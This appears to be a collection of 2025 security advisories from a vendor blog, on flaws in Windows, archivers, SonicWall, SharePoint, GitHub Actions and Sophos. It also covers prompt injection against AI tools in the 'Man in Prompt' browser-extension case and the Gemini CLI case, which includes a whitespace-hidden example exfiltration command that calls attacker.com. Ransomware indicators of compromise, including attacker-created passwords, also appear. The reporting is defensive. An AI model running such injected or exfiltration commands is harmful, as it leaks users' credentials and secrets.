Security Advisory

Security Advisory

Microsoft Patch Tuesday August Patches 119 Vulnerabilities; Publicly Disclosed Kerberos Zero‑Day

Microsoft Patch Tuesday : Key points:

119 vulnerabilities discovered & 13 are classified as Critical rating meaning as per Microsoft’ they could be abused by malware or malcontents to gain remote access to a Windows system with little or no help from users.

CVE-2025-53779 is Windows Kerberos Elevation of Privilege Vulnerability

The vulnerabilities fall into multiple categories, including Remote Code Execution (RCE), Elevation of Privilege (EoP), Information Disclosure, Spoofing, Denial of Service (DoS), and Tampering. Below is a detailed breakdown of the vulnerabilities by category, along with key insights for organizations to prioritize their patching efforts.

OEM Microsoft 
Severity Critical 
Date of Announcement 2025-08-12 
No. of Patches  119 
Actively Exploited No 
Exploited in Wild No 
Advisory Version 1.0 

Overview 

Microsoft has released security updates addressing 119 vulnerabilities in the August 2025 Patch Tuesday cycle, including one publicly disclosed zero-day in Windows Kerberos. Of these, 13 are classified as Critical, covering a wide range of products such as Windows components, Office, Azure, Exchange and SharePoint. 

  • 111 Microsoft CVEs addressed 
  • 8 non-Microsoft CVEs addressed 

Breakdown of August 2025 Vulnerabilities 

  • 44 Elevation of Privilege Vulnerabilities 
  • 35 Remote Code Execution Vulnerabilities 
  • 18 Information Disclosure Vulnerabilities 
  • 9 Spoofing Vulnerabilities 
  • 4 Denial of Service Vulnerabilities 
  • 1 Tampering vulnerabilities 
Vulnerability Name CVE ID Product Affected Severity CVSS Score 
Windows Kerberos Elevation of Privilege Vulnerability CVE-2025-53779 Windows Server 2025 High 7.2 

Technical Summary 

The August 2025 Patch Tuesday addresses a publicly disclosed zero-day vulnerability CVE-2025-53779 in Windows Kerberos.

This elevation of privilege flaw, related to improper path handling in domain-managed service accounts (dMSA), could allow a local attacker to gain domain administrator privileges.

Microsoft also patched several critical Remote Code Execution (RCE) vulnerabilities across Windows Graphics, GDI+, Office, DirectX, and Hyper-V. Many of these vulnerabilities require minimal or no user interaction, such as simply opening a file in the preview pane or processing crafted image or network messages, making them high-risk for enterprise environments. 

CVE ID System Affected Vulnerability Details Impact 
CVE-2025-53779 Microsoft Windows Server 2025 Relative path traversal in Windows Kerberos allows an authorized attacker to elevate privileges over a network. Privilege escalation 

Source: Microsoft and NVD 

In addition to the publicly disclosed vulnerability, several other critical and high-severity issues were addressed: 

  • CVE‑2025‑50165 and CVE‑2025‑53766: Graphics-related RCEs, particularly vulnerable due to their ability to execute code without user interaction and potential wormable behavior. 
  • CVE‑2025‑53792: Azure Portal, privilege escalation vulnerability, critical impact on cloud administration surface. 
  • CVE‑2025‑50171: Remote Desktop Server, allows remote code execution over RDP. 
  • CVE‑2025‑53778: Windows NTLM, elevation of privilege exploitation includes lateral movement across enterprise networks. 
  • CVE‑2025‑53786: Microsoft Exchange Server, hybrid environment vulnerability with potential for cloud environment hijacking. 

Key Affected Products and Services 

The vulnerabilities addressed in August 2025 impact a wide range of Microsoft products and services, including: 

  • Windows Core and Authentication Systems 

Includes fixes in Windows Server (Kerberos), Windows Graphics Component, GDI+, DirectX Graphics Kernel, NTLM, Hyper‑V, MSMQ, Remote Desktop and more. 

  • Microsoft Office Suite and Productivity Tools 

Microsoft Office and Word, notably through Preview Pane RCE flaws, as well as SharePoint (RCE and EoP), Exchange Server (Privilege Escalation in hybrid setups) and Teams. 

  • Cloud and Azure Ecosystem 

Critical issues in Azure Virtual Machines (spoofing and info disclosure), Azure Stack Hub and potentially Azure Portal. 

  • Virtualization and Hypervisor Technologies 

Updates include vulnerabilities in Hyper‑V (RCE and privilege escalation) and DirectX graphics kernel components relevant to virtualization. 

  • Development Tools 

Fixes include vulnerabilities affecting Visual Studio and GitHub Copilot, reinforcing development environments. 

  • Messaging and Queuing Services 

Includes a critical RCE in Microsoft Message Queuing (MSMQ). 

  • Browsers: 
    Microsoft Edge (Chromium-based). 

Remediation: 

  • Apply Patches Promptly: Install the August 2025 security updates immediately to mitigate risks. 

Conclusion: 

Microsoft’s August 2025 Patch Tuesday, disclosed zero-day CVE-2025-53779 is another privilege escalation flaw in Windows Kerberos that stems from a case of relative path traversal. Akamai researcher Yuval Gordon has been credited with discovering and reporting the bug.

Aside from the vulnerabilities patched and disclosed in the regular monthly patch release for August, it is worth noting that one week ahead of the monthly update, Microsoft disclosed 4 vulnerabilities affecting Microsoft cloud services.

References: 

Security Advisory

7-Zip Security Flaw Allows Malicious File Writes and Potential Exploits 

Summary Security Advisory: 7-Zip Security Flaw

A vulnerability in 7-Zip (versions before 25.01) allows attackers to abuse symbolic links in archive files to write files outside the intended extraction directory.

Severity Low 
CVSS Score 3.6 
CVEs CVE-2025-55188 
POC Available No 
Actively Exploited No 
Exploited in Wild No 
Advisory Version 1.0 

Overview 

This can lead to overwriting sensitive files, potentially enabling code execution or privilege escalation. The flaw is primarily exploitable on Linux systems due to common file permission models but can also impact Windows under specific conditions. Affected archive formats include ZIP, TAR, 7Z and RAR. 

The security flaw was  reported and discoverd by security researcher lunbun, who identified that 7-Zip fails to properly validate symbolic links when extracting certain archive formats.

Vulnerability Name CVE ID Product Affected Severity Fixed Version 
​ 7-Zip Arbitrary File Write via Symbolic Link Flaw  CVE-2025-55188 7-Zip  Low  25.01 and later. 

Technical Summary 

Cause: Improper validation of symbolic links during archive extraction. 

Attack Vector: Malicious archives can contain symlinks pointing outside the extraction directory. 

Impact: Overwrites arbitrary files on the system. On Linux, this can replace startup scripts, configuration files, or binaries to gain elevated privileges. On Windows, exploitation requires write access to target paths. 

Affected Formats: ZIP, TAR, 7Z, RAR. 

CVE ID CVSS Score System Affected  Vulnerability Details Impact 
CVE-2025-55188 3.6 Linux, Windows 7-Zip versions 7-Zip mishandles symbolic links in archives, letting attackers write files anywhere on the system during extraction. Code execution, Privilege escalation 

Recommendations: 

Here are some recommendations below 

  • Update 7-Zip to version 25.01 or latest one.  
  • Avoid extracting archives from untrusted sources. 
  • Always consider using sandboxed environments for unknown files extraction. 

Conclusion: 
While CVE-2025-55188 carries a low CVSS score, the real-world impact can be severe in certain environments, especially on Linux systems with high-privilege extraction processes.

Immediate patching to 7-Zip 25.01 or later is strongly advised to mitigate the risk of arbitrary file overwrite attacks. 

The researcher has submitted a request for reevaluation of the CVSS score and offered to provide proof-of-concept demonstrations to package repository maintainers who require additional verification.

References: 

Security Advisory

WinRAR Zero-Day Path Traversal Flaw Actively Exploited to Code Execution 

Security advisory: A zero-day path traversal vulnerability has been discovered in the Windows version of a popular file archiver utility, WinRAR. The vulnerability tracked as CVE-2025-8088, affects multiple Windows-based WinRAR an components, which has already been exploited in the wild.

Severity High 
CVSS Score 8.4 
CVEs CVE-2025-8088 
POC Available Yes 
Actively Exploited Yes 
Exploited in Wild Yes 
Advisory Version 1.0 

Overview 
This flaw allows attackers to manipulate the extraction path of files from a malicious archive, enabling them to place arbitrary code file in sensitive system folders, overwrite important files and even execute malicious code immediately upon extraction. 

Vulnerability Name CVE ID Product Affected Severity Fixed Version 
Path Traversal Vulnerability   CVE-2025-8088  WinRAR (Windows versions), RAR, UnRAR, portable UnRAR (Windows), UnRAR.dll 8.4  WinRAR 7.13 

Technical Summary 

When extracting files, vulnerable versions of WinRAR could be tricked into using a maliciously crafted file path embedded inside an archive rather than the user’s intended extraction directory. This occurs when the extraction process fails to properly validate and sanitize file paths before writing them to disk. 
As a result, attackers can: 

  • Place malicious files in protected system directories. 
  • Overwrite critical system/application files. 
  • Trigger automatic execution of malware without further user action. 

Most common attack vector involves sending a malicious archive via phishing or other social engineering techniques. When opened with a vulnerable WinRAR version, the malware is silently deployed and executed. 

Unix versions of RAR, UnRAR, UnRAR library, RAR for Android are not affected for this vulnerability. 

CVE ID System Affected  Vulnerability Details Impact 
CVE-2025-8088 WinRAR and related components on Windows version (RAR, UnRAR, portable UnRAR, UnRAR.dll) Flawed extraction path handling allows files to be placed outside the intended extraction directory. Allows arbitrary file placement, overwriting critical files, and executing malicious code without user interaction. 

Recommendations: 

Here are the recommendations below you can follow 

  • Update immediately to WinRAR 7.13 or newer version from the official WinRAR website. 
  • Avoid extracting archives from untrusted or unknown sources. 
  • Enable endpoint protection and ensure it scans archives before extraction. 
  • Audit your system for unusual or unauthorized files in system directories. 

Conclusion: 
CVE-2025-8088 shows that even widely trusted tools like WinRAR can become high-risk targets when flaws allow silent malware deployment during normal usage. Given that this zero-day has already been exploited, updating to WinRAR 7.13 immediately is crucial. Additionally, users should avoid extracting files from unknown sources and maintain strong endpoint protection. 

References: 

Security Advisory

Zero-Day Exploitation in SonicWall Targeted by Akira Ransomware 

Summary 

A critical zero-day vulnerability is suspected in SonicWall SSL VPN appliances, which are currently being actively exploited by threat actors linked to the Akira ransomware group. These attacks began last month and exploit even fully patched devices and systems with multi-factor authentication (MFA) enabled. In many cases, attackers move quickly, encrypting victim systems within hours of gaining access. 

Detailed Observation 

The ongoing attacks targeting SonicWall SSL VPN appliances suggest the presence of a zero-day vulnerability that allows threat actors to gain unauthorized access to enterprise networks.

This exploitation may be limited to TZ and NSa-series SonicWall firewalls with SSLVPN enabled. The attack patterns indicate that the attackers may be exploiting a flaw in the VPN’s authentication or session management mechanisms which they can be able to bypass the MFA.

Security researchers also observed that the threat actors often used legitimate credentials, including recently rotated passwords, implying either credential theft or session hijacking.

These login attempts were traced back to Virtual Private Servers (VPS), a common tactic to obscure the attacker’s origin. Once threat actors on the network, they abuse the privileged accounts, then start establishing C2 and move laterally in the network, then at the last stage before deploying the ransomware they are disabling the defenses to smooth deploy.

The ransomware group suggests Akira, has been seen deploying malware and encrypting data within hours, showcasing a high level of automation and operational efficiency.

The pattern and speed of these attacks point to a well-orchestrated campaign that likely began months earlier (as early as October 2024) but surged in mid-July 2025. This level of sophistication, combined with the failure of traditional defenses, strongly supports the theory that attackers are leveraging an undisclosed vulnerability in SonicWall’s SSL VPN stack. 

Remediation: 

Until an official SonicWall patch is released, organizations should take the following immediate actions: 

  • Disable SonicWall SSL VPN if possible, especially for external access. 
  • Enforce network segmentation to limit the radius of any potential breach. 
  • Monitor access logs for suspicious login attempts (especially from VPS-hosting IP ranges). 
  • Block known malicious IPs and ASNs used in previous attacks. 
  • Rotate all VPN credentials, especially for admin or privileged users. 
  • Harden MFA configuration (though current evidence shows bypasses are possible). 
  • Enable IP reputation and botnet protection features in SonicWall firewalls. 
  • Audit all VPN user accounts, removing any inactive or unnecessary ones. 

IOCs 

Attacker IP Threat Actors used tools ASN/CIDR hosting adversary infrastructure User & Password created  
42.252.99[.]59 w.exe AS24863 – LINK-NET – 45.242.96.0/22 backupSQL (U) 
45.86.208[.]240 win.exe AS62240 – Clouvider – 45.86.208.0/22 lockadmin (U) 
77.247.126[.]239 C:\ProgramData\winrar.exe AS62240 – Clouvider – 77.247.126.0/24 Password123$ (P) 
104.238.205[.]105 C:\ProgramData\OpenSSHa.msi AS23470 – ReliableSite LLC – 104.238.204.0/22 Msnc?42da (P) 
104.238.220[.]216 C:\Program Files\OpenSSH\sshd.exe AS23470 – ReliableSite LLC – 104.238.220.0/22 VRT83g$%ce (P) 
181.215.182[.]64 C:\programdata\ssh\cloudflared.exe AS174 – COGENT-174 – 181.215.182.0/24  
193.163.194[.]7 C:\Program Files\FileZilla FTP Client\fzsftp.exe AS62240 – Clouvider – 193.163.194.0/24  
193.239.236[.]149 C:\ProgramData\1.bat AS62240 – Clouvider – 193.239.236.0/23  
194.33.45[.]155 C:\ProgramData\2.bat AS62240 – Clouvider – 194.33.45.0/24  
  • Source: huntress.com 

Conclusion: 
The exploitation of a suspected zero-day in SonicWall SSL VPN poses an immediate and critical threat to enterprise environments.

The ability of attackers to bypass authentication and deploy ransomware within hours is highly dangerous and points to a sophisticated, active campaign.

Organizations using SonicWall VPNs must take preemptive steps now, including disabling VPN access if feasible and aggressively monitoring for anomalies, until SonicWall releases a formal patch or mitigation advisory 

References: 

Blogs Security Advisory

New Cyberattack Methodology ‘Man in Prompt’, User’s at Risk, Target-AI Tools

AI tools like ChatGPT, Google Gemini and others being afflicted by malicious actors via injecting harmful instructions into leading GenAI tools. These were overlooked previously and attack methodology targets the browser extensions installed by various organizations.

The attack methodology named as ‘Man in Prompt’, exercise its attack with new class exploit targeting the AI tools as per LayerX’s researchers.

As per the research any browser extension, even without any special permissions, can access the prompts of both commercial and internal LLMs and inject them with prompts to steal data, exfiltrate it and cover their tracks. 

The exploit has been tested on all top commercial LLMs, with proof-of-concept demos provided for ChatGPT and Google Gemini. 

The question is how do they impact Users & organizations at large & how does the AI tools function within web browsers?

For organizations the implications can be high then expected as AI tools are most sought after and slowly organization across verticals are relying on AI tools.

The LLMs used and tested on many organizations are mostly trained ones. They carry huge data set of information which are mostly confidential and possibility of being vulnerable to such attack rises .

The attack methodology named as ‘Man in Prompt’, exercise its attack with new class exploit targeting the AI tools as per LayerX’s researchers. As per the research any browser extension, even without any special permissions, can access the prompts of both commercial and internal LLMs and inject them with prompts to steal data, exfiltrate it, and cover their tracks. 

The attack methodology named as ‘Man in Prompt’, exercise its attack with new class exploit targeting the AI tools as per LayerX’s researchers. As per the research any browser extension, even without any special permissions, can access the prompts of both commercial and internal LLMs and inject them with prompts to steal data, exfiltrate it, and cover their tracks. 

LayerX researcher termed this type of attack as ‘hacking copilots’ that are equipped to steal organizational information.

The prompts given are a part of the web page structure where input fields are known as the Document Object Model, or DOM. So virtually any browser extension with basic scripting access to the DOM can read or alter what users type into AI prompts, even without requiring special permissions.

Bad actors can use compromised extensions to carry out activities including manipulating a user’s input to the AI.

  • Perform prompt injection attacks, altering the user’s input or inserting hidden instructions.
  • Extract data directly from the prompt, response, or session.
  • Compromise model integrity, tricking the LLM into revealing sensitive information or performing unintended actions

Understanding the attack scenario

Proof-of-concept attacks against major platforms

For ChatGPT, an extension with minimal declared permissions could inject a prompt, extract the AI’s response and remove chat history from the user’s view to reduce detection.

LayerX implemented an exploit that can steal internal data from corporate environments using Google Gemini via its integration into Google Workspace.

Over the last few months, Google has rolled out new integrations of its Gemini AI into Google Workspace. Currently, this feature is available to organizations using Workspace and paying users.

Gemini integration is implemented directly within the page as added code on top of the existing page. It modifies and directly writes to the web application’s Document Object Model (DOM), giving it control and access to all functionality within the application

These platforms are vulnerable to  any exploit which Layer X researchers showcased that without any special permissions shows how practically any user is vulnerable to such an attack. 

Threat mitigation

These kind of attacks creates a blind spot for traditional security tools like endpoint Data Loss Prevention (DLP) systems or Secure Web Gateways, as they lack visibility into these DOM-level interactions. Blocking AI tools by URL alone also won’t protect internal AI deployments.

LayerX advises organisations to adjust their security strategies towards inspecting in-browser behaviour.

Key recommendations include monitoring DOM interactions within AI tools to detect suspicious activity, blocking risky extensions based on their behavior rather than just their listed permissions, and actively preventing prompt tampering and data exfiltration in real-time at the browser layer.

(Source: https://layerxsecurity.com/blog/man-in-the-prompt-top-ai-tools-vulnerable-to-injection/)

Blogs Security Advisory

Analyzing the newly discovered Vulnerability in Gemini CLI; Impact on Software coding

Google’s Gemini command line interface (CLI) AI agent

Its not been one month when Google’s Gemini CLI vulnerability discovered by Tracebit researchers and found attackers could use prompt injection attacks to steal sensitive data.

Google’s Gemini CLI, an open-source AI agent for coding could allow attackers exploit to hide malicious commands, using “a toxic combination of improper validation, prompt injection and misleading UX,” as Tracebit explains.

After reports of the vulnerability surfaced, Google classified the situation as Priority 1 and Severity 1 on July 23, releasing the improved version two days later.

Those planning to use Gemini CLI should immediately upgrade to its latest version (0.1.14). Additionally, users could use the tool’s sandboxing mode for additional security and protection.

Disclosure of the vulnerability

Researchers reported on vulnerability directly to Google through its Bug Hunters programme. According to a timeline provided by Tracebit, the vulnerability was initially reported to Google’s Vulnerability Disclosure Programme (VDP) on 27 June, just two days after Gemini CLI’s public release.

Impact of the vulnerability

A detailed analysis found that in the patched version of Gemini CLI, attempts at code injection display the malicious command to users. This require explicit approval for any additional binaries to be executed. This change is intended to prevent the silent execution that the original vulnerability enabled.

Tracebit’s researchers played an important role in discovering and reporting the issue which is symbol of independent security research, particularly as AI-powered tools become central to software development workflows.

LLM integral to software development but hackers are using it too

Gemini CLI integrates Google’s LLM with traditional command line tools such as PowerShell or Bash. This allows developers to use natural language prompts to speed up tasks such as analyzing and debugging code, generating documentation, and understanding new repositories (“repos”).

As developers worldwide are using LLMs to help them develop code faster, attackers worldwide are using LLMs to help them understand and attack applications faster. 

Tracebit also discovered that malicious commands could easily be hidden in Gemini CLI This is possible by by packing the command line with blank characters, pushing the malicious commands out of the user’s sight.

More vigilance required when examining and running third-party or untrusted code, especially in tools leveraging AI to assist in software development.

Through the use of LLMs, AI excels at educating users, finding patterns and automate repetitive tasks.

Sam Cox, Tracebit’s founder, says he personally tested the exploit, which ultimately allowed him to execute any command — including destructive ones. “That’s exactly why I found this so concerning,” Cox told Ars Technica. “The same technique would work for deleting files, a fork bomb or even installing a remote shell giving the attacker remote control of the user’s machine.”

Source: https://in.mashable.com/tech/97813/if-youre-coding-with-gemini-cli-you-need-this-security-update

Security Advisory

Gemini CLI Vulnerability Enables Silent Execution of Malicious Commands on Developer Systems 

Summary 

Security Advisory :

In July 2025, a critical security vulnerability was discovered in Google’s Gemini CLI, a command-line tool used by developers to interact with Gemini AI. The flaw allowed attackers to execute hidden, malicious commands without user consent by exploiting prompt injection, poor command validation and an ambiguous trust interface. 

This issue was responsibly reported and addressed with the release of Gemini CLI version 0.1.14. The incident highlights the growing need for secure integration of AI tools in software development workflows. 

Vulnerability Details 

Security researchers identified that Gemini CLI reads project context files—such as README.md—to understand the codebase. Attackers can embed malicious commands into these files using indirect prompt injection techniques. These injected payloads are often disguised within legitimate content (e.g. license text, markdown formatting) to avoid detection. 

A core issue lies in Gemini’s handling of command approvals. Gemini CLI remembers previously approved commands (e.g. grep) to avoid prompting the user repeatedly. Attackers exploited this by appending malicious commands (e.g. curl $ENV > attacker.com) to a trusted one. Since the first part is familiar, the entire command string is executed without further validation. 

To increase stealth, malicious commands are hidden using whitespace padding or formatting tricks to avoid visual detection in the terminal or logs. Researchers demonstrated this attack by cloning a poisoned public GitHub repository, which resulted in unauthorized exfiltration of credentials during Gemini CLI analysis.Initially labeled as a low-severity issue, Google elevated its classification to a high-priority vulnerability and released a fix in version 0.1.14, which now enforces stricter visibility and re-approval of commands. 

Note: By default, Gemini CLI does not enable sandboxing, so manual configuration is required to isolate execution environments from the host system. 

Attack Flow 

Step Description 
1. Craft Malicious prompt injections are embedded inside context files like README.md along with benign code. 
2. Deliver Malicious repository is cloned or reviewed by a developer using Gemini CLI. 
3. Trigger Gemini CLI loads and interprets the context files. 
4. Execution Malicious code is executed due to weak validation and implicit trust. 
5. Exfiltrate Environment variables or secrets are silently sent to attacker-controlled servers. 

Proof-of-Concept Snippet 

Source: Tracebit 

Why It’s Effective 

  • Indirect Prompt Injection: Inserts malicious instructions within legitimate files rather than in direct input, bypassing typical user scrutiny. 
  • Command Whitelist Bypass: Weak command validation allows malicious extensions of approved commands. 
  • Visual Stealth: Large whitespace and terminal output manipulation hide malicious commands from users & security Tools. 

Broader Implications 

Gemini CLI are powerful for developers, helping to automate tasks and understand code faster. But this also comes with vulnerabilities especially when these tools can run commands and interact with untrusted code. This recent example shows how important it is to stay secure when using AI assistants to analyze unknown repositories. For teams working with open-source projects or unfamiliar codebases, it’s important to have safety checks in place. This highlights the growing need for smarter, more secure AI-driven tools that support developers without putting systems at risk. 

Remediation: 

  • Upgrade Gemini CLI to version 0.1.14 or later. 
  • Enable sandboxing modes where it is possible to isolate and protect systems. 
  • Avoid running Gemini CLI against untrusted or unknown codebases without appropriate safeguards. 
  • Review and monitor command execution prompts carefully 

Conclusion: 
The Gemini CLI vulnerability underscores how prompt injection and command trust mechanisms can silently expose systems to attack when using AI tools. As these assistants become more deeply integrated into development workflows, it’s vital to adopt a “trust, but verify” approach treating AI-generated or assisted actions with the same caution as externally sourced code. 

Security, visibility and isolation should be core pillars in any team’s approach to adopting AI in DevOps and engineering pipelines. 

References: 

Blogs Security Advisory

Kaspersky reveals SharePoint ToolShell vulnerabilities stem from incomplete 2020 fix.

Kaspersky’s Global Research and Analysis Team (GReAT) discovered that the recently exploited ToolShell vulnerabilities in Microsoft SharePoint originate from an incomplete fix for CVE-2020-1147, first reported in 2020.

IntruceptLabs have published the security advisory https://intruceptlabs.com/2025/07/toolshell-zero-day-exploits-in-microsoft-sharepoint-enable-full-remote-takeover/ on 21st July 2025.

The SharePoint vulnerabilities have emerged as a major cybersecurity threat this year amid active exploitation. Kaspersky Security Network showed exploitation attempts worldwide, including in Egypt, Jordan, Russia, Vietnam and Zambia.

The attacks target organizations across government, finance, manufacturing, forestry and agriculture sectors. 

Two newly discovered zero-day vulnerabilities (CVE-2025-53770 and CVE-2025-53771) in Microsoft SharePoint Server are being actively exploited in the wild.

There is currently no patch available to plug this security hole, but Microsoft says that customers running on-premises SharePoint Servers can stop attackers from exploiting the vulnerability by configuring Antimalware Scan Interface (AMSI) integration in SharePoint and deploying Defender AV on all SharePoint servers.

Share point Vulnerabilities a major cyber threat

The SharePoint vulnerabilities have emerged as a major cybersecurity threat this year amid
active exploitation. Kaspersky Security Network showed exploitation attempts worldwide,
including in Egypt, Jordan, Russia, Vietnam and Zambia.

The attacks target organizations across government, finance, manufacturing, forestry and agriculture sectors. Kaspersky solutions proactively detected and blocked ToolShell attacks before the vulnerabilities were publicly disclosed.

Kaspersky GReAT researchers analyzed the published ToolShell exploit and found it alarmingly similar to the 2020 CVE-2020-1147 exploit.

This suggests that the CVE-2025- 53770 patch is, in fact, an effective fix for the vulnerability that CVE-2020-1147 attempted to address five years ago.
The connection to CVE-2020-1147 became evident following the discovery of CVE-2025- 49704 and CVE-2025-49706, patched on July 8. However, these fixes could be bypassed by adding a single forward slash to the exploit payload.

Once Microsoft learned of active exploitation of these vulnerabilities, they responded with comprehensive patches that addressed potential bypass methods, designating the vulnerabilities as CVE-2025-53770 and CVE-2025-53771.

The surge in attacks against SharePoint servers worldwide occurred during the window between initial exploitation and full patch deployment. Despite patches now being available for the ToolShell vulnerabilities, Kaspersky expects attackers will continue exploiting this chain for years to come.

“Many high-profile vulnerabilities remain actively exploited years after discovery —
ProxyLogon, PrintNightmare and EternalBlue still compromise unpatched systems today.

We expect ToolShell to follow the same pattern: its ease of exploitation means the public exploit
will soon appear in popular penetration testing tools, ensuring prolonged use by attackers,”
said Boris Larin, principal security researcher at Kaspersky GReAT.

Do connect with us for any queries https://intruceptlabs.com/contact/

(Source: Read full report on Read the full report on Securelist.com)

Security Advisory

Critical Vulnerability identified in tj-actions/branch-names’ GitHub Action workflow

Security advisory:  Patch Now! Critical Command Injection in GitHub Action tj-actions/branch-names Affects 5,000+ public repositories. 

Summary:

A critical vulnerability has been identified in the tj-actions/branch-names’ GitHub Action workflow which allows arbitrary command execution in downstream workflows. This issue arises due to inconsistent input sanitization and unescaped output, enabling malicious actors to exploit specially crafted branch names or tags.

Severity Critical 
CVSS Score 9.1 
CVEs CVE-2025-54416 
POC Available Yes 
Actively Exploited No 
Exploited in Wild No
Advisory Version 1.0 

Overview 
This issue arises due to inconsistent input sanitization and unescaped output, enabling malicious actors to exploit specially crafted branch names or tags. While internal sanitization mechanisms have been implemented, the action outputs remain vulnerable, exposing consuming workflows to significant security risks. This is fixed in version 9.0.0

The flaw allows attackers to run any command during GitHub Actions workflows by creating specially crafted branch names or tags.  

Vulnerability Name CVE ID Product Affected Severity Fixed Version 
Command Injection in branch-names GitHub Action  CVE-2025-54416   tj-actions/branch-names GitHub Action <v8.2.1 9.1  v9.0.0 or later 

Technical Summary 

This Vulnerability puts many CI/CD pipelines at serious risk, including the possibility of stealing secrets or injecting malicious code into releases.

The vulnerability exists due to unsafe usage of the eval command in the action’s script. Although some escaping was done using printf “%q”, developers later used eval printf “%s” to unescaped values, which reintroduced command injection risks.

Any branch name containing malicious shell code can trigger execution during workflows. 

The vulnerability affects GitHub Action workflows that use tj-actions/branch-names. It allows attackers to inject and execute arbitrary shell commands by creating a branch with malicious content. The issue is caused by the unsafe use of eval when handling branch names and tags in output generation. 

CVE ID System Affected  Vulnerability Details Impact 
CVE-2025-54416 GitHub repositories using tj-actions/branch-names < v8.2.1 Unsafe use of eval leads to command injection Attacker can run arbitrary commands, steal secrets, alter source code, or compromise workflows 

Proof of Concept (POC) 


 
Remediation: 

  • Update immediately to tj-actions/branch-names version v9.0.0 or higher. 
  • The vulnerable eval code has been replaced with safe printf usage. 
  • Review your workflows to ensure no malicious activity has occurred. 
  • Check logs for strange branch names or unexpected shell activity. 

Conclusion: 
This command injection flaw is extremely dangerous due to its simplicity and the number of projects it affects. GitHub Actions workflows that use branch names or tags from pull requests are especially at risk. Attackers don’t need access to the code just the ability to open a pull request.

All developers and security teams should act now by updating to the latest version and reviewing usage of GitHub Actions in their workflows. 

References: 

Security Advisory

Pre-Auth Remote Code Execution Flaws Patched in Sophos Firewall 

Summary : Sophos has resolved several critical security vulnerabilities in its Firewall products, the most severe vulnerability could allow remote code execution without authentication, potentially giving attackers full control over impacted systems.

OEM Sophos 
Severity Critical 
CVSS Score 9.8 
CVEs CVE-2025-6704, CVE-2025-7624 
POC Available No 
Actively Exploited Yes 
Exploited in Wild Yes 
Advisory Version 1.0 

Overview 

To address the issue, the Sophos has issued hotfixes for five separate vulnerabilities. Two of these are rated as critical and present a serious threat to enterprise networks around the globe. 

                Vulnerability Name CVE ID Product Affected Severity Fixed Version 
Arbitrary file writing vulnerability in Secure PDF eXchange (SPX) feature  CVE-2025-6704 Sophos Firewall Critical   SFOS 21.0 MR2 (21.0.2) and later 
SQL injection vulnerability in legacy SMTP proxy CVE-2025-7624 Sophos Firewall Critical SFOS 21.0 MR2 (21.0.2) and later 

Technical Summary 

The CVE-2025-6704 and CVE-2025-7624 are identified in Sophos Firewall versions prior to 21.0 MR2 (21.0.2), both with a CVSS v3.1 base score of 9.8, indicating critical severity.  

The CVE-2025-6704 involves an arbitrary file writing vulnerability within the Secure PDF eXchange (SPX) feature.

SPX is enabled and the firewall operates in High Availability (HA) mode, attackers can exploit this flaw to execute arbitrary code remotely without authentication. This pre-authentication remote code execution can lead to full system compromise, affecting confidentiality, integrity and availability. 

CVE-2025-7624 pertains to an SQL injection vulnerability in the legacy (transparent) SMTP proxy of Sophos Firewall. If a quarantining policy is active for email and the system was upgraded from a version older than 21.0 GA, this weakness could potentially allow remote code execution.

Exploitation of this flaw can lead to unauthorized access, manipulation of firewall configurations, and potential lateral movement within the network. 

CVE ID System Affected  Vulnerability Details Impact 
 CVE-2025-6704 v21.5 GA and older A rare SPX feature flaw in HA mode can allow pre-auth remote code execution, affecting 0.05% of devices.  Pre-auth remote code execution (RCE) in Sophos Firewall SPX feature 
CVE-2025-7624 v21.5 GA and older An SQL injection in the legacy SMTP proxy can enable remote code execution if email quarantine is active and SFOS was upgraded from pre-21.0 GA. It affects up to 0.73% of devices. Remote code execution via SMTP proxy 

In addition to the Critical Severity vulnerabilities, two other High and one medium severity issues were addressed. 

CVE-2025-7382 – Command Injection in WebAdmin Interface (CVSS 8.8) 

A WebAdmin command injection flaw allows adjacent pre-auth code execution on HA auxiliary devices if admin OTP is enabled.  

CVE-2024-13974 – Business Logic Vulnerability in Up2Date Component (CVSS 8.1) 

 A business logic flaw in Up2Date lets attackers control firewall DNS to enable remote code execution. 

CVE-2024-13973 – Post-Auth SQLi Vulnerability in WebAdmin (CVSS 6.8) 

A post-auth SQL injection in WebAdmin allows admins to execute arbitrary code. 

Remediation: 

Users should immediately update Sophos Firewall to the latest patched version: 

  • For CVE-2025-6704, CVE-2025-7624, CVE-2025-7382: Upgrade to Sophos Firewall 21.0 MR2 (21.0.2) or later. 
  • For CVE-2024-13974 and CVE-2024-13973: Upgrade to Sophos Firewall 21.0 MR1 (20.0.1) or later. 

If you are not using the Secure PDF eXchange (SPX) feature or legacy SMTP proxy, consider disabling them until they are patched. 

Users operating legacy versions prior to the supported range must upgrade their systems to receive these critical security protections and maintain adequate defense against potential exploitation attempts.

Conclusion: 
In Sophos Firewalls that allow attackers to execute code remotely without logging in. Although only a small percentage of devices are affected, the flaws are serious.

Fortunately, Sophos quickly pushed automatic fixes, and no attacks have been seen so far. Users should verify their firewalls are fully updated and have auto update enabled to stay protected. 

The impact scope for this vulnerability reaches up to 0.73% of deployed devices. Both critical vulnerabilities were discovered and responsibly disclosed through Sophos’ bug bounty program by external security researchers.

References: 

Scroll to top